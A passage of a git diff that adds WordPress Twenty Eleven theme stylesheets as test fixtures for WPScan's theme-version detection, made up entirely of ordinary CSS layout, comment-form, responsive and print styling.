> li.bypostauthor .comment-meta { + color: #575757; +} +.commentlist > li.bypostauthor .comment-meta a:focus, +.commentlist > li.bypostauthor .comment-meta a:active, +.commentlist > li.bypostauthor .comment-meta a:hover { +} +.commentlist > li.bypostauthor:before { + content: url(images/comment-arrow-bypostauthor.png); +} + +/* Post Author threaded comments */ +.commentlist .children > li.bypostauthor { + background: #ddd; + border-color: #d3d3d3; +} + +/* sidebar-page.php comments */ +/* Make sure we have room for our comment avatars */ +.page-template-sidebar-page-php .commentlist > li.comment, +.page-template-sidebar-page-php.commentlist .pingback { + margin-left: 102px; + width: auto; +} +/* And a full-width comment form */ +.page-template-sidebar-page-php #respond { + width: auto; +} + +/* Comment Form */ +#respond { + background: #ddd; + border: 1px solid #d3d3d3; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 0 auto 1.625em; + padding: 1.625em; + position: relative; + width: 68.9%; +} +#respond input[type="text"], +#respond textarea { + background: #fff; + border: 4px solid #eee; + -moz-border-radius: 5px; + border-radius: 5px; + -webkit-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + -moz-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + position: relative; + padding: 10px; + text-indent: 80px; +} +#respond .comment-form-author, +#respond .comment-form-email, +#respond .comment-form-url, +#respond .comment-form-comment { + position: relative; +} +#respond .comment-form-author label, +#respond .comment-form-email label, +#respond .comment-form-url label, +#respond .comment-form-comment label { + background: #eee; + -webkit-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + -moz-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + color: #555; + display: inline-block; + font-size: 13px; + left: 4px; + min-width: 60px; + padding: 4px 10px; + position: relative; + top: 40px; + z-index: 1; +} +#respond input[type="text"]:focus, +#respond textarea:focus { + text-indent: 0; + z-index: 1; +} +#respond textarea { + resize: vertical; + width: 95%; +} +#respond .comment-form-author .required, +#respond .comment-form-email .required { + color: #bd3500; + font-size: 22px; + font-weight: bold; + left: 75%; + position: absolute; + top: 45px; + z-index: 1; +} +#respond .comment-notes, +#respond .logged-in-as { + font-size: 13px; +} +#respond p { + margin: 10px 0; +} +#respond .form-submit { + float: right; + margin: -20px 0 10px; +} +#respond input#submit { + background: #222; + border: none; + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + -moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + color: #eee; + cursor: pointer; + font-size: 15px; + margin: 20px 0; + padding: 5px 42px 5px 22px; + position: relative; + left: 30px; + text-shadow: 0 -1px 0 rgba(0,0,0,0.3); +} +#respond input#submit:active { + background: #1982d1; + color: #bfddf3; +} +#respond #cancel-comment-reply-link { + color: #666; + margin-left: 10px; + text-decoration: none; +} +#respond .logged-in-as a:hover, +#respond #cancel-comment-reply-link:hover { + text-decoration: underline; +} +.commentlist #respond { + margin: 1.625em 0 0; + width: auto; +} +#reply-title { + color: #373737; + font-size: 24px; + font-weight: bold; + line-height: 30px; +} +#cancel-comment-reply-link { + color: #888; + display: block; + font-size: 10px; + font-weight: normal; + line-height: 2.2em; + letter-spacing: 0.05em; + position: absolute; + right: 1.625em; + text-decoration: none; + text-transform: uppercase; + top: 1.1em; +} +#cancel-comment-reply-link:focus, +#cancel-comment-reply-link:active, +#cancel-comment-reply-link:hover { + color: #ff4b33; +} +#respond label { + line-height: 2.2em; +} +#respond input[type=text] { + display: block; + height: 24px; + width: 75%; +} +#respond p { + font-size: 12px; +} +p.comment-form-comment { + margin: 0; +} +.form-allowed-tags { + display: none; +} + + +/* =Footer +----------------------------------------------- */ + +#colophon { + clear: both; +} +#supplementary { + border-top: 1px solid #ddd; + padding: 1.625em 7.6%; + overflow: hidden; +} + +/* Two Footer Widget Areas */ +#supplementary.two .widget-area { + float: left; + margin-right: 3.7%; + width: 48.1%; +} +#supplementary.two .widget-area + .widget-area { + margin-right: 0; +} + +/* Three Footer Widget Areas */ +#supplementary.three .widget-area { + float: left; + margin-right: 3.7%; + width: 30.85%; +} +#supplementary.three .widget-area + .widget-area + .widget-area { + margin-right: 0; +} + +/* Site Generator Line */ +#site-generator { + background: #f9f9f9; + border-top: 1px solid #ddd; + color: #666; + font-size: 12px; + line-height: 2.2em; + padding: 2.2em 0.5em; + text-align: center; +} +#site-generator a { + color: #555; + font-weight: bold; +} +#site-generator .sep { + background: url(images/wordpress.png) center left no-repeat; + color: transparent; + display: inline-block; + height: 16px; + line-height: 16px; + margin: 0 7px; + width: 16px; +} + + +/* =Responsive Structure +----------------------------------------------- */ + +@media (max-width: 800px) { + /* Simplify the basic layout */ + #main #content { + margin: 0 7.6%; + width: auto; + } + #nav-below { + border-bottom: 1px solid #ddd; + margin-bottom: 1.625em; + } + #main #secondary { + float: none; + margin: 0 7.6%; + width: auto; + } + /* Simplify the showcase template */ + .page-template-showcase-php .featured-posts { + min-height: 280px; + } + .featured-posts section.featured-post { + height: auto; + } + .page-template-showcase-php section.recent-posts { + float: none; + margin: 0; + width: 100%; + } + .page-template-showcase-php #main .widget-area { + float: none; + margin: 0; + width: auto; + } + .page-template-showcase-php .other-recent-posts { + border-bottom: 1px solid #ddd; + } + /* Simplify the showcase template when small feature */ + section.featured-post .attachment-small-feature, + .one-column section.featured-post .attachment-small-feature { + border: none; + display: block; + float: left; + height: auto; + margin: 0.625em auto 1.025em; + max-width: 30%; + position: static; + } + article.feature-image.small { + float: right; + margin: 0 0 1.625em; + width: 64%; + } + .one-column article.feature-image.small .entry-summary { + height: auto; + } + article.feature-image.small .entry-summary p a { + left: 0; + padding-left: 20px; + padding-right: 20px; + width: auto; + } + /* Remove the margin on singular articles */ + .singular .entry-header, + .singular .entry-content, + .singular footer.entry-meta, + .singular #comments-title { + width: 100%; + } + /* Simplify the pullquotes and pull styles */ + .singular blockquote.pull { + margin: 0 0 1.625em; + } + .singular .pull.alignleft { + margin: 0 1.625em 0 0; + } + .singular .pull.alignright { + margin: 0 0 0 1.625em; + } + .singular .entry-meta .edit-link a { + left: 0; + position: absolute; + top: 40px; + } + .singular #author-info { + margin: 2.2em -8.8% 0; + padding: 20px 8.8%; + } + /* Make sure we have room for our comment avatars */ + .commentlist { + width: 100%; + } + .commentlist > li.comment, + .commentlist .pingback { + margin-left: 102px; + width: auto; + } + /* And a full-width comment form */ + #respond { + width: auto; + } + /* No need to float footer widgets at this size */ + #colophon #supplementary .widget-area { + float: none; + margin-right: 0; + width: auto; + } + /* No need to float 404 widgets at this size */ + .error404 #main .widget { + float: none; + margin-right: 0; + width: auto; + } + +} +@media (max-width: 650px) { + /* @media (max-width: 650px) Reduce font-sizes for better readability on smaller devices */ + body, input, textarea { + font-size: 13px; + } + #site-title a { + font-size: 24px; + } + #site-description { + font-size: 12px; + } + #access ul { + font-size: 12px; + } + article.intro .entry-content { + font-size: 12px; + } + .entry-title { + font-size: 21px; + } + .featured-post .entry-title { + font-size: 14px; + } + .singular .entry-title { + font-size: 28px; + } + .entry-meta { + font-size: 12px; + } + blockquote { + margin: 0; + } + blockquote.pull { + font-size: 17px; + } + /* Reposition the site title and description slightly */ + #site-title { + padding: 5.30625em 0 0; + } + #site-title, + #site-description { + margin-right: 0; + } + /* Make sure the logo and search form don't collide */ + #branding #searchform { + top: 1.625em !important; + } + /* Floated content doesn't work well at this size */ + .alignleft, + .alignright { + float: none; + margin-left: 0; + margin-right: 0; + } + /* Make sure the post-post navigation doesn't collide with anything */ + #nav-single { + display: block; + position: static; + } + .singular .hentry { + padding: 1.625em 0 0; + } + .singular.page .hentry { + padding: 1.625em 0 0; + } + /* Talking avatars take up too much room at this size */ + .commentlist > li.comment, + .commentlist > li.pingback { + margin-left: 0 !important; + } + .commentlist .avatar { + background: transparent; + display: block; + padding: 0; + position: static; + } + .commentlist .children .avatar { + background: none; + left: 2.2em; + padding: 0; + position: absolute; + top: 2.2em; + } + /* Use the available space in the smaller comment form */ + #respond input[type="text"] { + width: 95%; + } + #respond .comment-form-author .required, + #respond .comment-form-email .required { + left: 95%; + } + #content .gallery-columns-3 .gallery-item { + width: 31%; + padding-right: 2%; + } + #content .gallery-columns-3 .gallery-item img { + width: 100%; + height: auto; + } + +} +@media (max-width: 450px) { + #content .gallery-columns-2 .gallery-item { + width: 45%; + padding-right: 4%; + } + #content .gallery-columns-2 .gallery-item img { + width: 100%; + height: auto; + } + +} +@media only screen and (min-device-width: 320px) and (max-device-width: 480px) { + body { + padding: 0; + } + #page { + margin-top: 0; + } + #branding { + border-top: none; + } + +} + + +/* =Print +----------------------------------------------- */ + +@media print { + body { + background: none !important; + font-size: 10pt; + } + footer.entry-meta a[rel=bookmark]:link:after, + footer.entry-meta a[rel=bookmark]:visited:after { + content: " [" attr(href) "] "; /* Show URLs */ + } + #page { + clear: both !important; + display: block !important; + float: none !important; + max-width: 100%; + position: relative !important; + } + #branding { + border-top: none !important; + padding: 0; + } + #branding hgroup { + margin: 0; + } + #site-title a { + font-size: 21pt; + } + #site-description { + font-size: 10pt; + } + #branding #searchform { + display: none; + } + #branding img { + display: none; + } + #access { + display: none; + } + #main { + border-top: none; + box-shadow: none; + } + #primary { + float: left; + margin: 0; + width: 100%; + } + #content { + margin: 0; + width: auto; + } + .singular #content { + margin: 0; + width: 100%; + } + .singular .entry-header .entry-meta { + position: static; + } + .entry-meta .edit-link a { + display: none; + } + #content nav { + display: none; + } + .singular .entry-header, + .singular .entry-content, + .singular footer.entry-meta, + .singular #comments-title { + margin: 0; + width: 100%; + } + .singular .hentry { + padding: 0; + } + .entry-title, + .singular .entry-title { + font-size: 21pt; + } + .entry-meta { + font-size: 10pt; + } + .entry-header .comments-link { + display: none; + } + .page-link { + display: none; + } + .singular #author-info { + background: none; + border-bottom: none; + border-top: none; + margin: 2.2em 0 0; + padding: 0; + } + #respond { + display: none; + } + .widget-area { + display: none; + } + #colophon { + display: none; + } + + /* Comments */ + .commentlist > li.comment { + background: none; + border: 1px solid #ddd; + -moz-border-radius: 3px 3px 3px 3px; + border-radius: 3px 3px 3px 3px; + margin: 0 auto 1.625em; + padding: 1.625em; + position: relative; + width: auto; + } + .commentlist .avatar { + height: 39px; + left: 2.2em; + top: 2.2em; + width: 39px; + } + .commentlist li.comment .comment-meta { + line-height: 1.625em; + margin-left: 50px; + } + .commentlist li.comment .fn { + display: block; + } + .commentlist li.comment .comment-content { + margin: 1.625em 0 0; + } + .commentlist .comment-edit-link { + display: none; + } + .commentlist > li::before, + .commentlist > li.bypostauthor::before { + content: ''; + } + .commentlist .reply { + display: none; + } + + /* Post author highlighting */ + .commentlist > li.bypostauthor { + color: #444; + } + .commentlist > li.bypostauthor .comment-meta { + color: #666; + } + .commentlist > li.bypostauthor:before { + content: none; + } + + /* Post Author threaded comments */ + .commentlist .children > li.bypostauthor { + background: #fff; + border-color: #ddd; + } + .commentlist .children > li.bypostauthor > article, + .commentlist .children > li.bypostauthor > article .comment-meta { + color: #666; + } + +} + + +/* =IE7 +----------------------------------------------- */ + +#ie7 article.intro { + margin-left: -7.6%; + margin-right: -7.6%; + padding-left: -7.6%; + padding-right: -7.6%; + max-width: 1000px; +} +#ie7 section.featured-post { + margin-left: -7.6%; + margin-right: -7.6%; + max-width: 850px; +} +#ie7 section.recent-posts { + margin-right: 7.6%; +} diff --git a/spec/fixtures/wpscan/wp_theme/version/twentyeleven-unknow.css b/spec/fixtures/wpscan/wp_theme/version/twentyeleven-unknow.css new file mode 100755 index 00000000..f9f820e9 --- /dev/null +++ b/spec/fixtures/wpscan/wp_theme/version/twentyeleven-unknow.css @@ -0,0 +1,2678 @@ +/* +Theme Name: Twenty Eleven +Theme URI: http://wordpress.org/extend/themes/twentyeleven +Author: the WordPress team +Author URI: http://wordpress.org/ +Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom "Ephemera" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured "sticky" posts), and special styles for six different post formats. +License: GNU General Public License +License URI: license.txt +Tags: dark, light, white, black, gray, one-column, two-columns, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-image-header, featured-images, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready +*/ + +/* =Reset default browser CSS. Based on work by Eric Meyer: http://meyerweb.com/eric/tools/css/reset/index.html +-------------------------------------------------------------- */ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + border: 0; + font-family: inherit; + font-size: 100%; + font-style: inherit; + font-weight: inherit; + margin: 0; + outline: 0; + padding: 0; + vertical-align: baseline; +} +:focus {/* remember to define focus styles! */ + outline: 0; +} +body { + background: #fff; + line-height: 1; +} +ol, ul { + list-style: none; +} +table {/* tables still need 'cellspacing="0"' in the markup */ + border-collapse: separate; + border-spacing: 0; +} +caption, th, td { + font-weight: normal; + text-align: left; +} +blockquote:before, blockquote:after, +q:before, q:after { + content: ""; +} +blockquote, q { + quotes: "" ""; +} +a img { + border: 0; +} +article, aside, details, figcaption, figure, +footer, header, hgroup, menu, nav, section { + display: block; +} + + +/* =Structure +----------------------------------------------- */ + +body { + padding: 0 2em; +} +#page { + margin: 2em auto; + max-width: 1000px; +} +#branding hgroup { + margin: 0 7.6%; +} +#access div { + margin: 0 7.6%; +} +#primary { + float: left; + margin: 0 -26.4% 0 0; + width: 100%; +} +#content { + margin: 0 34% 0 7.6%; + width: 58.4%; +} +#secondary { + float: right; + margin-right: 7.6%; + width: 18.8%; +} + +/* Singular */ +.singular #primary { + margin: 0; +} +.singular #content, +.left-sidebar.singular #content { + margin: 0 7.6%; + position: relative; + width: auto; +} +.singular .entry-header, +.singular .entry-content, +.singular footer.entry-meta, +.singular #comments-title { + margin: 0 auto; + width: 68.9%; +} + +/* Attachments */ +.singular .image-attachment .entry-content { + margin: 0 auto; + width: auto; +} +.singular .image-attachment .entry-description { + margin: 0 auto; + width: 68.9%; +} + +/* Showcase */ +.page-template-showcase-php #primary, +.left-sidebar.page-template-showcase-php #primary { + margin: 0; +} +.page-template-showcase-php #content, +.left-sidebar.page-template-showcase-php #content { + margin: 0 7.6%; + width: auto; +} +.page-template-showcase-php section.recent-posts { + float: right; + margin: 0 0 0 31%; + width: 69%; +} +.page-template-showcase-php #main .widget-area { + float: left; + margin: 0 -22.15% 0 0; + width: 22.15%; +} + +/* error404 */ +.error404 #primary { + float: none; + margin: 0; +} +.error404 #primary #content { + margin: 0 7.6%; + width: auto; +} + +/* Alignment */ +.alignleft { + display: inline; + float: left; + margin-right: 1.625em; +} +.alignright { + display: inline; + float: right; + margin-left: 1.625em; +} +.aligncenter { + clear: both; + display: block; + margin-left: auto; + margin-right: auto; +} + +/* Right Content */ +.left-sidebar #primary { + float: right; + margin: 0 0 0 -26.4%; + width: 100%; +} +.left-sidebar #content { + margin: 0 7.6% 0 34%; + width: 58.4%; +} +.left-sidebar #secondary { + float: left; + margin-left: 7.6%; + margin-right: 0; + width: 18.8%; +} + +/* One column */ +.one-column #page { + max-width: 690px; +} +.one-column #content { + margin: 0 7.6%; + width: auto; +} +.one-column #nav-below { + border-bottom: 1px solid #ddd; + margin-bottom: 1.625em; +} +.one-column #secondary { + float: none; + margin: 0 7.6%; + width: auto; +} +/* Simplify the showcase template */ +.one-column .page-template-showcase-php section.recent-posts { + float: none; + margin: 0; + width: 100%; +} +.one-column .page-template-showcase-php #main .widget-area { + float: none; + margin: 0; + width: auto; +} +.one-column .page-template-showcase-php .other-recent-posts { + border-bottom: 1px solid #ddd; +} +/* Simplify the showcase template when small feature */ +.one-column section.featured-post .attachment-small-feature { + border: none; + display: block; + height: auto; + max-width: 60%; + position: static; +} +.one-column article.feature-image.small { + margin: 0 0 1.625em; + padding: 0; +} +.one-column article.feature-image.small .entry-title { + font-size: 20px; + line-height: 1.3em; +} +.one-column article.feature-image.small .entry-summary { + height: 150px; + overflow: hidden; + padding: 0; + text-overflow: ellipsis; +} +.one-column article.feature-image.small .entry-summary a { + left: -9%; +} +/* Remove the margin on singular articles */ +.one-column.singular .entry-header, +.one-column.singular .entry-content, +.one-column.singular footer.entry-meta, +.one-column.singular #comments-title { + width: 100%; +} +/* Simplify the pullquotes and pull styles */ +.one-column.singular blockquote.pull { + margin: 0 0 1.625em; +} +.one-column.singular .pull.alignleft { + margin: 0 1.625em 0 0; +} +.one-column.singular .pull.alignright { + margin: 0 0 0 1.625em; +} +.one-column.singular .entry-meta .edit-link a { + position: absolute; + left: 0; + top: 40px; +} +.one-column.singular #author-info { + margin: 2.2em -8.8% 0; + padding: 20px 8.8%; +} +/* Make sure we have room for our comment avatars */ +.one-column .commentlist > li.comment { + margin-left: 102px; + width: auto; +} +/* Make sure the logo and search form don't collide */ +.one-column #branding #searchform { + right: 40px; + top: 4em; +} +/* Talking avatars take up too much room at this size */ +.one-column .commentlist > li.comment { + margin-left: 0; +} +.one-column .commentlist > li.comment .comment-meta, +.one-column .commentlist > li.comment .comment-content { + margin-right: 85px; +} +.one-column .commentlist .avatar { + background: transparent; + display: block; + padding: 0; + top: 1.625em; + left: auto; + right: 1.625em; +} +.one-column .commentlist .children .avatar { + background: none; + padding: 0; + position: absolute; + top: 2.2em; + left: 2.2em; +} +.one-column #respond { + width: auto; +} + + +/* =Global +----------------------------------------------- */ + +body, input, textarea { + color: #373737; + font: 15px "Helvetica Neue", Helvetica, Arial, sans-serif; + font-weight: 300; + line-height: 1.625; +} +body { + background: #e2e2e2; +} +#page { + background: #fff; +} + +/* Headings */ +h1,h2,h3,h4,h5,h6 { + clear: both; +} +hr { + background-color: #ccc; + border: 0; + height: 1px; + margin-bottom: 1.625em; +} + +/* Text elements */ +p { + margin-bottom: 1.625em; +} +ul, ol { + margin: 0 0 1.625em 2.5em; +} +ul { + list-style: square; +} +ol { + list-style-type: decimal; +} +ol ol { + list-style: upper-alpha; +} +ol ol ol { + list-style: lower-roman; +} +ol ol ol ol { + list-style: lower-alpha; +} +ul ul, ol ol, ul ol, ol ul { + margin-bottom: 0; +} +dl { + margin: 0 1.625em; +} +dt { + font-weight: bold; +} +dd { + margin-bottom: 1.625em; +} +strong { + font-weight: bold; +} +cite, em, i { + font-style: italic; +} +blockquote { + font-family: Georgia, "Bitstream Charter", serif; + font-style: italic; + font-weight: normal; + margin: 0 3em; +} +blockquote em, blockquote i, blockquote cite { + font-style: normal; +} +blockquote cite { + color: #666; + font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif; + font-weight: 300; + letter-spacing: 0.05em; + text-transform: uppercase; +} +pre { + background: #f4f4f4; + font: 13px "Courier 10 Pitch", Courier, monospace; + line-height: 1.5; + margin-bottom: 1.625em; + overflow: auto; + padding: 0.75em 1.625em; +} +code, kbd { + font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; +} +abbr, acronym, dfn { + border-bottom: 1px dotted #666; + cursor: help; +} +address { + display: block; + margin: 0 0 1.625em; +} +ins { + background: #fff9c0; + text-decoration: none; +} +sup, +sub { + font-size: 10px; + height: 0; + line-height: 1; + position: relative; + vertical-align: baseline; +} +sup { + bottom: 1ex; +} +sub { + top: .5ex; +} + +/* Forms */ +input[type=text], +input[type=password], +textarea { + background: #fafafa; + -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + border: 1px solid #ddd; + color: #888; +} +input[type=text]:focus, +textarea:focus { + color: #373737; +} +textarea { + padding-left: 3px; + width: 98%; +} +input[type=text] { + padding: 3px; +} +input#s { + background: url(images/search.png) no-repeat 5px 6px; + -moz-border-radius: 2px; + border-radius: 2px; + font-size: 14px; + height: 22px; + line-height: 1.2em; + padding: 4px 10px 4px 28px; +} +input#searchsubmit { + display: none; +} + +/* Links */ +a { + color: #1982d1; + text-decoration: none; +} +a:focus, +a:active, +a:hover { + text-decoration: underline; +} + +/* Assistive text */ +.assistive-text { + position: absolute !important; + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); +} +#access a.assistive-text:active, +#access a.assistive-text:focus { + background: #eee; + border-bottom: 1px solid #ddd; + color: #1982d1; + clip: auto !important; + font-size: 12px; + position: absolute; + text-decoration: underline; + top: 0; + left: 7.6%; +} + + +/* =Header +----------------------------------------------- */ + +#branding { + border-top: 2px solid #bbb; + padding-bottom: 10px; + position: relative; + z-index: 9999; +} +#site-title { + margin-right: 270px; + padding: 3.65625em 0 0; +} +#site-title a { + color: #111; + font-size: 30px; + font-weight: bold; + line-height: 36px; + text-decoration: none; +} +#site-title a:hover, +#site-title a:focus, +#site-title a:active { + color: #1982d1; +} +#site-description { + color: #7a7a7a; + font-size: 14px; + margin: 0 270px 3.65625em 0; +} +#branding img { + height: auto; + margin-bottom: -7px; + width: 100%; +} + + +/* =Menu +-------------------------------------------------------------- */ + +#access { + background: #222; /* Show a solid color for older browsers */ + background: -moz-linear-gradient(#252525, #0a0a0a); + background: -o-linear-gradient(#252525, #0a0a0a); + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#252525), to(#0a0a0a)); /* older webkit syntax */ + background: -webkit-linear-gradient(#252525, #0a0a0a); + -webkit-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + -moz-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + clear: both; + display: block; + float: left; + margin: 0 auto 6px; + width: 100%; +} +#access ul { + font-size: 13px; + list-style: none; + margin: 0 0 0 -0.8125em; + padding-left: 0; +} +#access li { + float: left; + position: relative; +} +#access a { + color: #eee; + display: block; + line-height: 3.333em; + padding: 0 1.2125em; + text-decoration: none; +} +#access ul ul { + -moz-box-shadow: 0 3px 3px rgba(0,0,0,0.2); + -webkit-box-shadow: 0 3px 3px rgba(0,0,0,0.2); + box-shadow: 0 3px 3px rgba(0,0,0,0.2); + display: none; + float: left; + margin: 0; + position: absolute; + top: 3.333em; + left: 0; + width: 188px; + z-index: 99999; +} +#access ul ul ul { + left: 100%; + top: 0; +} +#access ul ul a { + background: #f9f9f9; + border-bottom: 1px dotted #ddd; + color: #444; + font-size: 13px; + font-weight: normal; + height: auto; + line-height: 1.4em; + padding: 10px 10px; + width: 168px; +} +#access li:hover > a, +#access ul ul :hover > a, +#access a:focus { + background: #efefef; +} +#access li:hover > a, +#access a:focus { + background: #f9f9f9; /* Show a solid color for older browsers */ + background: -moz-linear-gradient(#f9f9f9, #e5e5e5); + background: -o-linear-gradient(#f9f9f9, #e5e5e5); + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#f9f9f9), to(#e5e5e5)); /* Older webkit syntax */ + background: -webkit-linear-gradient(#f9f9f9, #e5e5e5); + color: #373737; +} +#access ul li:hover > ul { + display: block; +} +#access .current-menu-item > a, +#access .current-menu-ancestor > a, +#access .current_page_item > a, +#access .current_page_ancestor > a { + font-weight: bold; +} + +/* Search Form */ +#branding #searchform { + position: absolute; + top: 3.8em; + right: 7.6%; + text-align: right; +} +#branding #searchform div { + margin: 0; +} +#branding #s { + float: right; + -webkit-transition-duration: 400ms; + -webkit-transition-property: width, background; + -webkit-transition-timing-function: ease; + -moz-transition-duration: 400ms; + -moz-transition-property: width, background; + -moz-transition-timing-function: ease; + -o-transition-duration: 400ms; + -o-transition-property: width, background; + -o-transition-timing-function: ease; + width: 72px; +} +#branding #s:focus { + background-color: #f9f9f9; + width: 196px; +} +#branding #searchsubmit { + display: none; +} +#branding .only-search #searchform { + top: 5px; + z-index: 1; +} +#branding .only-search #s { + background-color: #666; + border-color: #000; + color: #222; +} +#branding .only-search #s, +#branding .only-search #s:focus { + width: 85%; +} +#branding .only-search #s:focus { + background-color: #bbb; +} +#branding .with-image #searchform { + top: auto; + bottom: -27px; + max-width: 195px; +} +#branding .only-search + #access div { + padding-right: 205px; +} + + +/* =Content +----------------------------------------------- */ + +#main { + clear: both; + padding: 1.625em 0 0; +} +.page-title { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + margin: 0 0 2.6em; + text-transform: uppercase; +} +.page-title a { + font-size: 12px; + font-weight: bold; + letter-spacing: 0; + text-transform: none; +} +.hentry, +.no-results { + border-bottom: 1px solid #ddd; + margin: 0 0 1.625em; + padding: 0 0 1.625em; + position: relative; +} +.hentry:last-child, +.no-results { + border-bottom: none; +} +.blog .sticky .entry-header .entry-meta { + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + position: absolute !important; +} +.entry-title, +.entry-header .entry-meta { + padding-right: 76px; +} +.entry-title { + clear: both; + color: #222; + font-size: 26px; + font-weight: bold; + line-height: 1.5em; + padding-bottom: .3em; + padding-top: 15px; +} +.entry-title, +.entry-title a { + color: #222; + text-decoration: none; +} +.entry-title a:hover, +.entry-title a:focus, +.entry-title a:active { + color: #1982d1; +} +.entry-meta { + color: #666; + clear: both; + font-size: 12px; + line-height: 18px; +} +.entry-meta a { + font-weight: bold; +} +.single-author .entry-meta .by-author { + display: none; +} +.entry-content, +.entry-summary { + padding: 1.625em 0 0; +} +.entry-content h1, +.entry-content h2, +.comment-content h1, +.comment-content h2 { + color: #000; + font-weight: bold; + margin: 0 0 .8125em; +} +.entry-content h3, +.comment-content h3 { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.entry-content table, +.comment-content table { + border-bottom: 1px solid #ddd; + margin: 0 0 1.625em; + width: 100%; +} +.entry-content th, +.comment-content th { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.entry-content td, +.comment-content td { + border-top: 1px solid #ddd; + padding: 6px 10px 6px 0; +} +.entry-content #s { + width: 75%; +} +.comment-content ul, +.comment-content ol { + margin-bottom: 1.625em; +} +.comment-content ul ul, +.comment-content ol ol, +.comment-content ul ol, +.comment-content ol ul { + margin-bottom: 0; +} +dl.gallery-item { + margin: 0; +} +.page-link { + clear: both; + display: block; + margin: 0 0 1.625em; +} +.page-link a { + background: #eee; + color: #373737; + margin: 0; + padding: 2px 3px; + text-decoration: none; +} +.page-link a:hover { + background: #888; + color: #fff; + font-weight: bold; +} +.page-link span { + margin-right: 6px; +} +.entry-meta .edit-link a, +.commentlist .edit-link a { + background: #eee; + -moz-border-radius: 3px; + border-radius: 3px; + color: #666; + float: right; + font-size: 12px; + line-height: 1.5em; + font-weight: 300; + text-decoration: none; + padding: 0 8px; +} +.entry-meta .edit-link a:hover, +.commentlist .edit-link a:hover { + background: #888; + color: #fff; +} +.entry-content .edit-link { + clear: both; + display: block; +} + +/* Images */ +.entry-content img, +.comment-content img, +.widget img { + max-width: 97.5%; /* Fluid images for posts, comments, and widgets */ +} +img[class*="align"], +img[class*="wp-image-"], +img[class*="attachment-"] { + height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ +} +img.size-full, +img.size-large { + max-width: 97.5%; + width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */ + height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ +} +.entry-content img.wp-smiley { + border: none; + margin-bottom: 0; + margin-top: 0; + padding: 0; +} +img.alignleft, +img.alignright, +img.aligncenter { + margin-bottom: 1.625em; +} +p img, +.wp-caption { + margin-top: 0.4em; +} +.wp-caption { + background: #eee; + margin-bottom: 1.625em; + max-width: 96%; + padding: 9px; +} +.wp-caption img { + display: block; + margin: 0 auto; + max-width: 98%; +} +.wp-caption .wp-caption-text, +.gallery-caption { + color: #666; + font-family: Georgia, serif; + font-size: 12px; +} +.wp-caption .wp-caption-text { + margin-bottom: 0.6em; + padding: 10px 0 5px 40px; + position: relative; +} +.wp-caption .wp-caption-text:before { + color: #666; + content: '\2014'; + font-size: 14px; + font-style: normal; + font-weight: bold; + margin-right: 5px; + position: absolute; + left: 10px; + top: 7px; +} +#content .gallery { + margin: 0 auto 1.625em; +} +#content .gallery a img { + border: none; +} +img#wpstats { + display: block; + margin: 0 auto 1.625em; +} +#content .gallery-columns-4 .gallery-item { + width: 23%; + padding-right: 2%; +} +#content .gallery-columns-4 .gallery-item img { + width: 100%; + height: auto; +} + +/* Image borders */ +img[class*="align"], +img[class*="wp-image-"], +#content .gallery .gallery-icon img {/* Add fancy borders to all WordPress-added images but not things like badges and icons and the like */ + border: 1px solid #ddd; + padding: 6px; +} +.wp-caption img { + border-color: #eee; +} +a:focus img[class*="align"], +a:hover img[class*="align"], +a:active img[class*="align"], +a:focus img[class*="wp-image-"], +a:hover img[class*="wp-image-"], +a:active img[class*="wp-image-"], +#content .gallery .gallery-icon a:focus img, +#content .gallery .gallery-icon a:hover img, +#content .gallery .gallery-icon a:active img {/* Add some useful style to those fancy borders for linked images ... */ + background: #eee; + border-color: #bbb; +} +.wp-caption a:focus img, +.wp-caption a:active img, +.wp-caption a:hover img {/* ... including captioned images! */ + background: #fff; + border-color: #ddd; +} + +/* Make sure embeds and iframes fit 